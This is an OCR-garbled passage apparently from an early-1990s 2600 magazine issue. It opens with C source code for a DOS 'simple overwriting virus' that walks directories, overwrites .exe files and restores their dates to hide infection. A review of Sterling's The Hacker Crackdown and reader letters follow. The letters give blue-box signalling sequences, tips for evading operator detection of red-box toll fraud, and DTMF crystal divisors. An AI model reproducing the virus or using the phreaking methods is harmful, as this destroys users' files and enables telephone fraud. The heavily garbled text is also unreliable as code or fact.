good stuff. Have fun! 

/* THE SIMPLE OVERWRITING VIRUS */ 
/* CREATED BY INFILTRATOR */ 

#include Nstdio.h" 
#include Ndir.h" 
#include "io.h" 
#include "dos.h" 
#include "fcnd.h" 
/********** VARIABLES FOR THE VIRUS **********/ 
struct ffblk ffblk,ffblk1,ffblk2; 
struct ftime ft; 
int done,done1,lfof,marker=248,count=O,vsize=19520,drive; 
FILE *victim, *virus, *If; 
char ch,vc,buffer[MAXPATH),vstamp[23)="HAPPY,HAPPV! JOY,JOY!"; 
struct ftime getdt(); /* */ 
setdtO; /* Function prototypes 
dna(int argc, char *argv[)); /* */ 
/********** MAIN FUNCTION (LOOP) **********/ 
void main(int argc, char *argv[)) /* Start of main loop */ 
{ 

dna(argc,argv); /* Call virus reproduction func */ 
getcwd(buffer,MAXPATH); /* Get current directory */ 
drive = getdisk(); /* Get current drive number */ 
setdisk(2); /* Goto 'C' drive */ 
chdir("\\"); /* Change to root directory */ 
done1= findfirsW*",&ffblk1,FA_DIREC); f* Get 1st directory */ 
while(!done1) { /* Start of loop */ 
chdirlffblk1.ff_name); /* Change to directory */ 
if i If = findfirst{"*.exe" ,&ffblk2,O) == -1 ) { /*No file to infect */ 

chdir("\\"); /* Back to root */ 
done1=findnext(&ffblk1); /* Get next dir */ 
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else ( /* Yes, infectable file found */ 

} 

dna(argc,argv); /* Call reproduction func. */ 
chdirnn; /* Back to root */ 
done1=findnext(&ffbIC1}; /* Next directory */ 

} /* End loop */ 
setdisk(drive); /* Goto original drive */ 
chdir(buffer); /* Goto original dir */ 

} /* End of virus */ 
/********** END OF MAIN FUNCTION, START OF OTHER FUNCTIONS **********/ 
dna(int argc, char *argv[)) /* Virus Tasks Func */ 
( 

} 

Ifof = findfirsW*.exe" ,ltffblk,O); 
whileOdone) 

/* Find first '.exe' file */ 

( 
victim=fopen(ffblk,ff_name,"rb+"); /* Open file */ 
fseek(victim,·1,SEEK_END);/* Go to end, look for marker */ 
ch=getc(victim); /* Get char */ 
if (ch == 'A' )  /* Is  it the marker? YES */ 

else 

( 
fclose(victim); /* Don't Reinfect */ 
done=findnext(ltffblk); /* Go to next '.exe' file */ 
} 
( 

/* NO ... lnfect! */ 

getdt(); /* Get file date */ 
viru$=fopen(ar\JV(OI,"rb"); /* Open host program */ 
victim =fo IMfl (fM,fC....,e, "wb"); /* Open file to infect */ 
while ( count (VN.) /* Copy virus code */ 
( /* to the victim file */ 

vc=getc(virus); /* This will overwrite */ 
putc(vc,victim); /* the file totally */ 
count++; 1* End reproduction */ 

fprintf(victim, "%s" ,vstamp);I* Put on virus stamp, optional */ 
fclose(virus); /* Close Virus */ 
fclose(victim); /* Close Victim */ 
victim=fopen(ffblk,ff_name, nab"); /* Append to victim */ 
putc(marker,victim); /* virus marker char */ 
fclose(victim); /* Close file */ 
setdt(); /* Set file date to original */ 
count=O; /* Reset file char counter */ 
done=findnext(&ffblk); /* Next file */ 

} 

structftime getdtO 
{ 

/* Get original file date func */ 
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victim=fopen (ffbl k,fCname," rb"); 
getftime(fileno(victim), &ft); 
fclose(victim); 
return ft; 

/* Open file */ 
/* Get date */ 
/* Close file */ 
/* Return */ 
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} 
setdt() 
{ 

/* Set date to original func */ 

victim=fopen (ffblk,fCname, "rb"); 
setftime(fileno(victim), &ft); 
fclose(victim); 
return 0; 

/*. Open file */ 
/* Set date */ 
/* Close file */ 
/* Return */ 

BOOK REVIEW 
The Hack. CrackrJown: l..tIw.and 

Disorder on the Electronic Frontier 
by Bruce Sterling 
$23.00. Bantam Books. 313 pages 
Review by The Oevil's Advocate 

The den izens of cyberspace have 
long revered B ruce Sterling as one  of 
cyberfiction's ear l iest p ioneers.  Now, 
Ster l ing has removed his steel-edged 
m i rrorshades to cast a deep p robing 
look into the heart of  our modern-day 
e lectro n ic f ro nt ier .  The result is The 
Hacker Crackdown, the latest account 
of the hacker culture and Sterl ing's fi rst 
foray into non-fiction. 

At f i rst g l an ce, Crackdown wou ld 
a p p e a r  t o  f o l l o w  i n  the n a r r at i v e  
footsteps of  The Cuckoo's Egg and 
Cyberpunk . .  The setting is  cyberspace, 
1990: year of the AT&T crash and the 
aftermat h  of Ma Bel l's fragm entation; 
year of Operation Sundevil ,  the Atlanta 
r a i d s ,  and  t h e  Leg i o n  of Doo m  
b reakup; year  of the E911 document 
and the trial of Kn ight Lightning; year 
of  th e h ack e r  crackd ow n ,  and the 
formation of  that bastion of  computer 
c iv i l  l ibert ies ,  the E lectron ic  Front ie r  
Fo u n d at i o n .  Un l i ke Cuckoo a n d  
Cyberpunk, however, Ster l ing's work 
does not center around characters tilnd 
events so m uch as the p ara l l e l s  he 
draws between them. Crackdown is far 
l ess sto ry a n d  f a r  mo r e  a n a l ys i s .  
Crackdown i s  also personal .  Missing is 
the detached and unbiased aloofness 

expected of a journalist. Interming led 
with the factual accounts, for instance, 
are Sterl ing's keen wit and insight: 

"In m y  o p i n i o n ,  a n y  tee n a g e r  
e nthral led b y  computers, fascinated by 
the ins and outs of computer security, 
and attracted by the lure of special ized 
forms of knowledge and power, would 
do wel l to forget al l  about hacking and 
set his (or her) sights on becoming a 
Fed. Feds can trump hackers at a lmost 
e v e ry  s i n g l e  th i n g  h ac k e rs d o ,  
i n c l udi n g  g athe r i n g  i n te l l ig e nc e ,  
undercover d isguise, t rashing ,  phone­
tapping, bui ld ing dossiers ,  networking, 
and inf i ltrating computer systems . . . .  " 

Ste r l ing is fair. He effectively g ets 
into the psyche of hacker and enforcer 
a l i k e ,  oftent imes p o k i n g  fun at the 
absurd ity in  both l ines of reason ing. To 
h ac k ers he is h o n e s t  a n d  b ru t a l : 
"Pho n e  phreaks p ick  o n  the weak. "  
Befo re the advent  of  ANI,  hackers 
exploited AT&T. Then they drifted to  
the Baby Bel ls where s ecurity was less 
tha n  st e l lar. From the r e  it was a 
g radua l  regression al l  the way down to 
local P BX's, the weakest kids o n  the 
b lo ck, a n d  cert a i n l y  n o t  t h e  
megacorporate entities that g ive rise to 
"stea l  fro m the r i ch"  Rob i n  Hoo d  
excuses.  T o  e nforcers he i s  equ a l ly 
b ruta l ,  charti ng a chro n ic l e  of c i v i l  
l i b e rty  a b u s e s  b y  the F BI ,  S e c re t  
S e rv ice ,  and local  l aw e nforcem e nt 
agencies. 
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P e rh a p s  the  best reason to read 
Crackdown i s  to learn what other books 
have neglected to focus on : the abuses 
of power by law enforcement. Indeed, it 
is these abuses that are the main focus 
of Sterl ing 's  work. One by one he gives a 
gri m  account of the raids of 1 990 , the 
Crackdown or cultural genocide that WaS 
to h ave as its goal the complete and 
absolute extinction of hacking In all of ita 
manifestations. 

O n  F ebruary  2 1 , 1 99 0 ,  Rob ert 
I z e n b erg was ra ided by t h e  S ecret 
Service. They shut down his UUCP site, 
seized twenty thousand dollars' worth of 
professional equ ipment as "evidence ," 
including some 1 40 megabytes of fi les, 
mai l ,  and data belonging to himself and 
his users. Izenberg was neither arrested 
nor charged with any cri me. Two years 
later he would sti l l  be trying to get h is  
equipment back. 

On March 1 ,  1 990, twenty-one-year­
old Er ik Bloodaxe was awakened by a 
revolver pointed at h i s  head.  Secret 
Service agents seized everything even 
r e mote l y  e l ectro n i c ,  I n c l ud i ng h i s  
t e l e p h o n e .  B loodax e  w a s  n e i t h e r  
arrested n o r  charged with a n y  cri me.  
Two years  l ate r  he wou l d  s t i l i  be 
wondering where ai l h is  equipment went. 

M entor was yet another victim of the 
C rackdown . Secret Serv ice agents 
"rousted h im and his wife from bed in  
their underwear," and proceeded to seize 
thousands of dol l ars '  worth of work­
related computer equipment, i ncluding 
his wife's incomplete academic thesis 
stored on a hard disk. Two years l ater 
and Mentor would still be waiting for the 
return of his equipment. 

T h e n  c a m e  t h e  i n famous Steve 
Jackson Games raid . Again , no one 
was arrested and n o  ch arg e s  were 
f i led . " Everyth ing  app ropr iated was 
official ly kept as 'evidence' of crimes 
never specified.'  

B ru c e  Ste r l i ng e x p l a i n s  ( i n  a n  
u n u s u a l  f i rst - p e rs o n  s h i f t  i n  t h e  

narrative) that it was th is  raid above al l 
e l s e  w h i c h  c o m p e l l ed h i m  t o  " p u t  
s c i e n ce f ict i o n  a s i d e  u n t i l  I h ad 
d iscove red what h ad happened and 
where this trouble had com e  from."  

Crackdown culminates with what is 
perhaps the most stunning example of 
injustice outside of the Steve Jackson 
raid . Alt ho u g h  t h e  t r i a l  of K n i g h t  
Lig htn i ng i s  ove r ,  i t s  b i tt er s w e e t  
memories still l inger i n  t h e  collective 
mind of cyberspace. This, after a ll ,  was 
t h e  t r i a l  i n  w h i c h  W i l l i a m  C o o k  
maliciously tried (and failed) t o  convict 
a f ledg l i ng t e e n ag e  j o u r n a l i s t  fo r 
p r i nt i n g  a wo rt h l e s s  g a r b l e  of  
bureaucratic dreck by claim ing that it 
w a s  i n  f a ct a $79 , 4 4 9  p i ece  of 
" p ro p r i et a ry "  cod e .  I n a n  effo rt to  
demonstrate the sheer  boredom and 
ted iousness  of t h e  E 9 1 1 docu ment ,  
and t h e  a b s u r d ity o f  C o o k ' s  
p rosecut ion ,  Crackdo wn i nc l u d es a 
hefty sampl ing of th is  document (at a 
s av i n g s  of ove r $79 ,449 by Cook's  
standards I ) .  

More than any other book to date, 
Cra ckdo wn co n c e n t rat e s  on t h e  
pol itical grit and g rime of computer law 
e nf o rc e m e n t ,  a n sw e r i n g  such  
pere n n ia l  favorites as why  does the 
Secret Service h ave anyt h i n g  to do 
w ith  hackers anyway? I n  Crackdown 
we' learn that someth ing of a contest 
exists between the Secret Service and 
t h e  F B I  w h e n  i t  co m e s  to b u st i n g  
h ackers. Also touched upon are the 
''waffl ing" Fi rst Amendment issues that 
have sprung forth from cyberspace. 

Cra ckdown is a year in the life of 
t h e  e lectron ic  f ront ie r .  Fo r some,  a 
forgotten mote of antiqu ity; for others, 
a spectral preamble of darker th ings to 
come. But for those who thrive at the 
cutt i ng e d g e of cyb e rs p ace , 
Crackdown is certain to bridge those 
d istant points of l ight with its account of 
a year that wil l  not be forgotten. 
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Blue Box Questions 
Dear 2600: 

A while ago I ordered a book called Spy Game. I 
was reading about the phone company and came 
across a column about you. I would like to access 
different operators for different info needs and I was 
wondering how exactly to access them. I want to know 
how to achieve a Key Pulse tone, a STart tone, number 
1 1 ,  1 2, and KP2. I also want to know if I went to 
Radio Shack and bought their 15 dollar phone dialer, if 
I would be able to get a repair shop to modify it so it 
can achieve these tones? 

MD 
Sheboygan, WI 

Experimentalion is really the only way to discover 
such things since there's so much variation between 
regions. The blue boxfrequencies have been published 
several times in 2600, most recently in the Summer 
1992 issue. You're much better offwith a genuine blue 
box or demon dialer rather than trying to modify a 
phone dialer for that purpose. 

Dear 2600: 
Quite a few publications on the subject of blue 

boxing reached the Dutch press last year. The Dutch 
hacker magazine Hack-Tic printed out a complete set 
of instructions for using the CCITT-4 and -5 systems 
on international telephone lines. Most newspapers 
covered the issue as well and even one radio program 
is sa id  to have broadcast a complete CCITT-S 
sequence, which gave an international telephone 
connection to the sec",tary of Mr. Bush for free. 

After several attempts (and a sky-high telephone 
bill), I somehow managed to program my Mac to do 
the same job (i.e. generating DTMF and C-5 tones). 
Beca\ISC Dutch telephone authorities limited CoS (C-4 
has gone already) on free international lines, using this 
system has become a n:al task. 

But the point I want to make here is that most 
people only try to n:ach a so-ca1led transit international 
telephone exchange. At this point in their connection, 
they disconnect by using the Clear Forward signal. 
With Seize and KP2 they will be able to dial almost 
any country in the world. But what happens if they get 
stuck in a non-transit exchange ? KP2 will not be 
accepted, so only local (i.e. in that specific country) 
calls can be set up. 

I discovered that you can sometimes get back to 
the outgoing international network by using KPI 
which is indeed the local differentiator. The idea is to 
let the national network of your (temp9rary) 
destination make the outgoing connection. For 
inatance, by using Seize-KPI -00 I S I 24740936-END 
on the lines from the Netherlands to Iceland (landcode 
354), connection will be made to the still non-suped 
mussc line published in 2600 in May 1985. The first 

zero in the code is the Cos discriminating digit, the 
second is the magic one that gives you back to the 
intemational lines (i.e. to the USA). Almost the same 
goes for the Solomon Isles (landcode 677), only an 
extra zero is needed here (notice the relaying in 
Solomon's  telephone network, which sounds really 
beautiful). 

Note that in most countries this scheme does not 
seem to work. Just see it as an extension of your 
phreaking tools. 

Phrankenstein 
The trick used from the Netherlands involved 

dialing Iceland Direct (060220354), sending a Clear 
Forward, Seize, and a KP 1 (to indicate a terminal call 
or domestic call), 0 (to indicate a normal call), then 0 
followed by the country code and number. That trick 
no longer works. 

Assorted Comments 
Dear 2600: 

I attended the Winter '92 Consumer Electronic 
Show in Las Vegas from January 9- 12  and saw few 
interesting new products. Although the", were about 
1 5 ,000 exhibits , there were maybe 1 ,000 computer 
related exhibits, and the majority of those were power 
supply protection devices. I did see some interesting 
computer security products. Some companies were 
pushing their Caller ID devices and software. One 
software Caller ID system which was run on an mM 
compatible would pull up all the caller's pertinent 
infonnation (name, address, etc.) and digitized photo 
(if available) from a database for display on the screen 
(VIVE Synergies Inc., 30 West Beaver Creek Road, 
Unit 2, Richmond Hill, Ontario LAB 3KI ,  Canada, 
phone (416) 882-6107). I also saw a couple of regular 
Caller ID boxes and an integrated Caller ID phone 
with speakeiphone and memory dial and a IS call 10-
digit  incoming number memory (SysPerfect 
Electronics of San Francisco, phone (415) 875-3550). 

One product I saw was designed to solve the 
problern concerning lack of privacy on cellular phone 
calls for any phone call where security was a concern. 
The Privacom P-25-C is a portable device which 
scrambles the audio s ignal from your cellular or 
regular phone line to be descrambled by the same 
device on the called end. The device offers 25 different 
scrambling codes (which I see as pretty inadequate). 
To operate, the user dials his phone nonnally. When 
the call is made and verification with the called party 
is confinned, a code is chosen and both parties place 
their receivers onto the coupler of the device and pick 
up its handset. Conversation then continues nonnally, 
all audio being scrambled before being sent over the 
line (or through the air in the case of cellular phones). 
The device itself takes about as much room as a 
portable cellular phone and runs continuously up to 20 
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hours on battery power. (Swift Strike, Inc., PO Box 
206, Galion, OH 448 3 3 ,  phone (4 1 9 )  46 8· 1 560.  
Additional sales and technical information: Addtel 
CommWlications, (615) 622·898 1 or 800·553-6870) 

I went and visited the clowns at the Prodigy booth. 
I wouldn ' t  hav e even bothered but I felt this  
uncontrollable urge to confront them w i th the 
allegations made against them conceming the Prodigy 
software scanning a user's hard drive in search of 
address information for mailing purposes. Armed with 
the inside knowledge out of the Autumn 1 991 issue of 
2600 that described how Prodigy junk mail was 
received at a company addressed to non· existent 
"people", I began to explain to them how the theory of 
their little invasion of privacy scam was validated 
beyond reasonable doubt. They got pissedl "We never 
did that," said one spokeswoman. "00 you believe 
everything you read?" asked another, quite agitated 
spokesman. I walked off, leaving them there in their 
angry and flustered state of loathing. Looking back I 
noticed them leering at me. Every time after that when 
I walked by them they were still leering at me. One 
must wonder, if they are so innocent of this accusation, 
why they became so defensive rather than explain it 
away with amiable business tact. At any rate, I had a 
good laugh making them squirm. 

In the Summer 1 99 1  iasue, 1N wrote in telling of a 
way to place local calls using the Radio Shack Tone 
Dialer Red Box, saying "I have foWld [it) to work and 
have tested [it) all over Califomia." Apparently you 
did not travel very far in your testing because it does 
not work in my area of Northern Califomia (91 6  area 
code). While on the subject of the Red Box, recently a 
friend was using it to call Hong Kong and encountered 
some interest ing AT&T operator shenanigans.  
Basically, by now it would be more than safe to 
conclude that every phone company in the United 
States is aware of the Radio Shack Tone Dialer 
conversion. AT&T must have some memo circulating 
stating proper procedure for detecting and halting Red 
Box toll fraud. On one occasion, the operator told my 
friend he was experiencing computer problems. He 
asked him to insert 85 cents (my friend signalled four 
quarters with his Red Box) and then claimed that it 
was not being received by his computer so he was 
going to retum it. My friend played along and told the 
operator he had received the money back, although by 
that time he had realized he had not heard the operator 
re1�se signal nor the tell·tale click inside the phone of 
the hopper relay. The operator asked him to insert the 
money again, which my friend did, and then claimed, 
once again, to have retumed it, and asked my friend if 
he got the money. This time, my friend said no, SO the 
operator attempted again, this time for real. My friend 
heard the operator release signal and a click inaide the 
payphone, and claimed he had gotten his coins back. 
"I'm going to be polite about this," said the AT&T 
operator. ''Y ou have this little black box with you that 
makes these soWlds .. . .  " he continued. My friend didn't 
bother to hear him out and simply hWlg up, which he 

regrets because who knows what he may have learned. 
My friend said of the eight or so operators he dealt 
with that night, three of them caught on to the Red 
Box. We must now ask ourselves why. The answer 
doesn 't  require hours of study and research, as is 
painfully obvious: the thing is too damn loud and too 
damn consistent. Also, it doesn't help that the timing 
of the Red B o x  tones is off by a couple of 
milliseconds. My suggestion? Place a bank card or 
credit card over the mouthpiece of the phone to mute 
the volume of the tones to where they aren ' t  so 
blatantly phony. After all, the actual quarter tones as 
generated by the AT&T long distance computers are 
barely audible themselves. Also, it wouldn' t  hurt to 
program only one quarter in your priority memory and 
pound them out at inconsistent intervala. Mind you, 
these suggestions are only necessary when dealing 
with live operators as the long distance computers are 
far friendlier, which is kind of scary when you think 
about it. Computers friendlier than live people. If they 
didn 't  rely so heavily on their damned computers, 
they'd have the current Red Box fad beat. But no, as it 
is, computers are infinitely more wise than humans, so 
it continues. Yes, we live in a sad world. Oh well. 

Sheer Frustration 
Dear 26Ofi: 

DC 

I have entitled the following Modern Times · A 
Drama in Too Many Acts. 

Is' Ac,: Reading the 2600 Magazine of Autumn 
199 1  I found on page 26 a letter from GS, Seattle: 
"Bellcore has a new publications listing. The Catalog 
of Technical Information." With one eye on the mag 
and one on the phone I dialed the 800 number given. 
But the only thing I heard was a German tape telling 
me to check the number or call the operator. Oh no ! 
These are the Nineties, the Digital Decade! 

2 nd Ac,: I finally called the operator and explained 
my problem. "What? I can't believe that. You can dial 
every number directly!" was the answer. Insisting on 
my not being deaf and dumb, I gave the number to her. 
"Okay, I 'll try it for you. But that will cost extra! Stay 
at your phone, I 'll call you back." 

3rd Ac,: Some minutes later my phone rang. 
Operator: "I can 't get through . . .  sorry. You may call 
the Intemational Telephone Number Information for a 
local number." What a concept, not knowing the 
address or even the city! 

4,h Ac,: A quick look at my private "roll· free 
Telephone Number Database" revealed an AT&T 
USA Direct connection to an operator in the States. 
Not very hopefully I dialed the number and bingo! He 
wouldn't do a damned thing for me without having an 
AT&T Calling Cardl 

5,h Act: Eventually I found the toll·free number 
from Germany to AT&T in Kansas City. The nice lady 
told me that there are no AT&T offices in Germany 
(why are they placing their ads here all the time?) and 
that I need a Visa Card to get a Calling Card. 
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6th Act: Still not resdy for surrender, I tried to get 
a 10cal number. For the needed address I wanted to call 
"relename of Springfield, VA (same issue, page 31) .  
You surely can imagine what happened: "Your call 
cannot be completed as dialed . . . ... The Telename 
number is a 900 number! 

7th Act: I sent a fax (this one) to 2600 MagazifUl, 
asking for help. So please print a local telephone 
number for Be11co1e in your next issue, or at least an 
address. Thank you. 

TA2 
Gennany 

TM number in question, 800-521-2673, translates 
to 908-699-5800 or 908-699-5802. We' lI rry to prim 
translations in tM future. 

Mild Encryption 
Dear 2600: 

I just purchased one of the Motorola cordless (not 
cellular) phones which is marketed as having "secure 
clear" - a method of mild grade voice UlCryption of the 
radio portion. 

Some friends and I listened in with our receivers 
and the audio is indeed extremely difficult for (;8sual 
monitoring. It would, however, be triv ial for any 
serious agency or corporate type to break through, but 
then again those are the people who'd be doing other 
things as well. 

In short,  it does p rovide moderate levels of 
security . In effect, you ' re getting "wire grade" 
protection over a cordless link. 

The price is quite a bit high - about $200-$250, 
depending on store, features, etc. 

Cable Hacking 
Dear 2600: 

Danny 
New- York 

I've hacked my way through the phone system, 
computers attached to modems, locks, etc. Now I'm 
interested in the cable company. Manhattan Cable in 
particu1sr. How do those addressable converter boxes 
work, anyhow? How does the central office tum on 
pay-per-view for my box? Has anyone hacked this 
system and, if so, can you please publish some info so 
I don't have to redo all the work? 

My interest is pUlely in hacking to understand and 
leam, not to steal seIVicel 

Dear 2600: 

Lawrence 
NYC 

I am a subscriber and really enjoy your magazine. 
I especially love your do-it-yourself Radio S hack 
projects. I have a request for one of your upcoming 
issues. I was wondering if you could put in some 
instructions and schematics on how to cheaply build a 
Cable TV pay channel "descrsmbler" . 

Anonymous 
Future writers: this is what tM people wont! 

A Phone Mystery 
Dear 2600: 

I just started reading your wonderful periodical 
two issues ago. I saw your Autumn 1 99 1  issue at a 
local bookstore here in town. I picked up the magazine 
and was very excited. You see, I hav� been BBSing for 
a few years now, and hlive always been interested in 
everything you guys cover. 

I've got a story. My father used to use my current 
bedroom when I was littl� as his office. When he 
moved into a real office he had the separate line for the 
room disconnected. Soon after, I moved into the room. 
I didn't pay much attention to the outlet in my room 
because I thought it was just hooked up to the main 
house line. About eleven years after we got the line 
discoMected, I decided to see if it worked. I called a 
friend and was excited. I thought to myself I could 
now have a phone in my room. I then called my house 
line and it wasn't busy. My mother picked up the line 
and we talked for a while. 

. 

From what I could tell , Ma Bell just forgot to 
unplug the line and never charged us for it. This was 
all before I knew any better al\d before I got into 
hacking. 

Then one day I picked up the phone to call a friend 
and there was a guy on the line. I didn't say anything . 
until I think he said something to the effect of "Jeff, is 
that you?" 

I replied back that I wasn't Jeff and hung up. I was 
kinda scared to usc the line for a while, but a few 
weeks later I really had to get ahold of somebody and 
my sister was on the house line. I picked up the phone 
in my room and there was that same guy on it. I never 
got a chance to use the line again because a few 
months later my parents gave me a phone line for me 
to uoe in my room. When the new line was all hooked 
up the old line wouldn't work. I didn 't think about it 
all that much until recently. 

My question is, does this happen a lot? I mean is 
Ma Bell really so big that they can forget about a line 
for over a decade? If I was older, or if I knew any 
better, I could have really raised some major hell. 

The Psychedelic Sloth 
Oregon 

This kind of thing happens all the time. In fact, 
odds are if you move into a new house and plug in a 
phone, you' ll be connected to someone else's line. 
That is what happened to you. Your old line was 
disconnected. The phone company does not "forget" 
about phone numbers for ten years. What they do 
instead is hook wires (cable pairs) together at a 

junction box, serving area interface, or theframe itself 
so thot the same line shows up in two different places. 
Why ? Because they m ake lo ts of mistakes. It 's  
happefUld Mre at 2600 twice in the past few years. A 
good clue is when someone bealS you to answering the 
phone when tMre's nobody else around. Or wMn you 
start gening messages for non-existent people 011 your 
answering machine. Keep this in mind next time the 
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phone company claims that you 're responsible for 
anything dialed on your line. And remember that any 
conversation, wire or radio, can be easily _nitored, 
accidentally or on purpose. 

Info 
Dear 2600: 

ANAC for 3 1 3  is 2002002002 - at least this works 
in most a reas.  Also 3 1 3  loops a re usually xxx-
9996/xxx-9997. 

Erreth Akbe'Eaerayl 
Many Questions 
Dear 2MJ8: 

Four issues of 2600 and I still want more. I've 
never been more impressed by a malazine. lCeep up 
the lood work! 

Here are a few questions that I 'd appreciate an 
answer to : 

1 )  In the parts lists for the FM wireless transmitter 
and the FM telephone transmitter, three parts listed 
aren't in the schematics. On page 44, C7 and C8 (22pF 
and I .OnF) and on page 45, C7 (22pF). Do these 
discrepancies affect the functioning of either device? 

2) What is the product number of the Radio Shack 
phone dialer? Is there anything more to the 
construction of the red box than crystal swapping? If 
so, what? 

3) I 'm lather new to the hack/phreak scene. Could 
you recommend the years of back issues with the most 
infonnation on a) the Internet and b) phreaking? 

4) Can you recommend a good book to learn 
electronics from? 

5 )  Can you suggest magazines which offer 
infonnation similar to that found in 2600 and are 
ordered hardcopy through the mail as opposed to 
found on the Net? 

6) I' m severely lacking in my knowledge of 
"boxes". I'd like an explanation of each of the more 
common types - if not schematics as well. I understand 
beige, red, black, and green boxes. But, for instanCe, 
what are the advantages of a blue box? Is there a 
fonnula for deciding which crystals should be used for 
which tones (3 .S8  for DTMF, 6.SS36 for red box, 
4. 1521  for green box)? Does it vary with the device 
you put the crystal in? Is there a geneml schematic that 
can be used with different crystals to produce different 
tones? 

7) A few years ago (before I became interested in 
hack/phreaking) I sa w part of a movie in which an 
oscilloscope (I think) was used to detennine MAC or 
same kind of ATM codes while the machine processed 
transactions. Does this process have any workability? 

The ROllin 
Pennsylvania 

The _nitoring devices should work if you follow 
the schematics. The Radio Shack model number for the 
tone dialer is 43-141 but it's now rumored to have 
been discontifllMld. There is no _dification other than 
replacing the crystal. 

We' ve been publishing phreaking information 
throughout all of our issues. The frequency hasn' t 
changed but the particulars certainly have. Internet 
news is more prevaknt in our later issues. 

Some good books to karn ekctronics from: Basic 
Electronics Theory by Delton Horn, published by TAB 
Books; Fo"est M. Nims III Engineer's Mini-Notebook 
series available at Radio Shack; Understanding Solid 
State Elec tronics, sold at Radio Shack. 
Manufacrurers' data books are free (Motorola, etc.) 
and you can karn an awful lot from them. Try calling 
some tollfree numbers and asking. 

If any good hacker magazines come our way, 
we' ll print the information. Recently, it's been pretty 
dry. 

These numbers may help for DTMF: For a 5089 
chip, first row, crystal divided by 5152; second row, 
4648; third row, 4200; fourth row, 3808; first column, 
2968 ;  second column, 2688; third column, 2408, 
fourth column, 2184. 

Finally ,  oscilloscopes are for m easuring 
waveforms, and generally not for eavesdropping. J(s 
also very likely that any signal from an ATM would be 
encrypted. 

Dear 26()(J: 
First of all, you have a lreat magazine so don't 

change a thing/ However, I just recently received a 
bunch of back issues, so pardon me if some of these 
questions are outdated or have been answered already. 

1) How can I help 2600 lrow (besides the obvious 
of sendinl you money)? I would like to do same sort 
of volunteer work for you guys, but that may pose a 
small problem since I live a few thousand miles from 
New York. 

2) Is B.T. considem:! an honolary phone phreak? 
3) What is the ANAC number for the S I S  area 

code? 
4) What can you tell me about your cover artist 

(Holly Kaufman Spruch)? 
S)  Please explain to me why it takes six weeks for 

you guys to process orders for back issues. It should 
only take about two weeks tops. And that's third class 
mail ! If I decide to shell out maybe $7S for back 
issues, then I want the "invaluable" information (that I 
don 't already know) as soon as possible, and don 't 
want to wait a month and a half for it! This is very 
fNstlating, and I would also like some other readers' 
opinions on this. 

6) I s ymp athize w ith Kev in Mitnick in the 
Summer '91 issue. In plain English, he got shafted. 
I 'm not saying that he's completely innocent, but the 
authors of the book CyberpUllk did write unfairly about 
him. 

7) How about writing an article listinl all of the 
known phreak boxes, what they can do, and if they can 
be used today. List all of the major ones like blue, red, 
green, and black boxes and then list the lesser known 
ones like the lold, cheese, diverti, aqua, etc. 

8) Would it be possible to put together a big 
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gathering of phreaks in some unknown exchange like 
the "21 1 1 " conference in the October 1971 Esquire 
article "Secrets of the Little Blue Box"? To me that is 
what phrcaking is all about - helping other phrcaks. By 
the way,  I do know that you can't Use .: blue box to do 
this anymore, but you inventive folks should be able to 
come up with something that would wode. If you did 
this however, you would have to tell phrcaks about it 
through word of mouth , as I ' m  sure many telco 
security pcnonnel read your magazine. 

9) I really enjoyed the ''Hacker Reading List" in 
the Winter '90 issue. Ho wev er,  it was  slightly 
incomplete - you forgot magazine articles. Below is a 
small list of hackerlphreak related articles that I have 
come across. A larger list is available at the back of the 
book Cyberpunk. Also, a Very good book that Dr. 
Williams left out of the book list is called The Phone 
Book and the author is J. Edward Hyde. To fmd these, 
juat go to your local library and '  see if they have the 
back issues. However, they might not have them as far 
back as '72, so you will have to use their microfiche. I 
personally found most of these at a college library. 

Esquire, October 1 97 1 ,  "Secrets of the Little Blue 
Box". 

Esquire, December 1990, ''Terminal De1inquents". 
Ramparts, June 1 972, "Regulating the Phone 

Company in Your Home". 
Ramparts, July 1972, "How the Phone Company 

Interrupted Our Service". 
Radio Electronics, November 1 987, ''The Blue 

Box and Ma Bell". 
LA Weekly, July 1 8-24 1 980, ''The Phone Art of 

Phone Phrcaking". 
Ro lling Stone , September 1 9  1 99 1 ,  "Samurai 

Hackers". 
Playboy, October 1 972, ''Take That, You Soulless 

S.O.B .... 
Oui, August 1 973,  "The Phone Phreaks '  Last 

Stand". 
Time, March 6 1 972, "Phoney Tunes". 

Clark Kent 
Ames, 1A 

You don' t  have to be anywhere near us to help 
out. You can send us information, articles, and 
anything else that comes to mind. You can contribute 
to the discussion on our voice BBS and start other 
foTUms on hac/cing throughout the country. By lening 
people know there is a place for them to contribute, 
you' l l  be opening up a lot of minds that are just 
waiting to be liberated. It may not be quite that poetic 
but you get the idea. We don't talk about E.T., we will 
talk about the 515 ANAC when we find it, and we 
can' t talk about Holly Kaufman Spruch. We agree that 
back issue orders take too long and we've taken some 
steps to alleviate the situation, including hiring people 
whose only concern in life is to speed the process. 
Keep in mind that it tilkes our bank up to three weeks 
to notify us if a check has bounced or is unacceptable 

for some other stupid reason. Thaf s why we're not too 
keen on sending out back issues until we're sure we've 

actually gonen paid. We could send out cash orders 
quicker but then too many people would send cash in 
the mail, which is a preny risky thing in itself. We're 
hoping for a maximum of three to four weeks from 
start to finish. Our authors and hopefully o ther 
reaMrs have tilken note of your other ideas. Thanks 
for the info. 

An Opinion 
Dear 2600: 

I was reading an article from an issue of 2600 
called ''How Phone Phrcaks Are Caught" and it gave 
me a lot of insight, and I thought I should contribute 
some. On many "elite" BBS's they have many fIles on 
how not to get caught phreaking and what precautions 
to tske (including this fIle). Files like that are what will 
keep some phrcaks in the clear and out of trouble. 

Most fIles, like "Phreaking Made E-Z" (fictitious 
file, but used just to illustrate my point),  just say, 
"Okay, at the prompt, just type in . . . . .. etc. B ut the 
phreakers need to know all the theory behind it. 

Also included in the fIle was some of the Spring 
edition of 2 600, and it had an a rticle about a 
"crackdown". It's kinda scary, but very troe. I myself 
am not too quick to let people know thaI ''I phreak", 
and am extremely reluctant to show anyone my fIles 
(in other words, I don't) on phreaking, hacking, etc. 

But crackdowns like this can help phreaks. It will 
make them so paranoid that they will all band together 
and create ringa of correspondence, banding everyone 
together. 

Violent actions, like what happened to Steve 
Jackson Games , are pretty scary to think about. I 
mean, should I be worried if I send someone e-mail 
over America Online, and mention hlp/a/v , or a 
''phrcaking'' tenn? It's things like this that can spread 
from the E91 1 doc and such. 

Thanks for letting me voice my opinion and I'd 
also like to subscribe to 2600, for it seems to be the 
only printed mag that actually tells the truth. 

TC 
Blauvelt, NY 

Don' t be concerned about what you talk about in 
e-mail. The only thing you should really be worried 
about is submitting to hysteria, paranoia, or self­
cemorship. 

The Facts on ACD 
Dear 2600: 

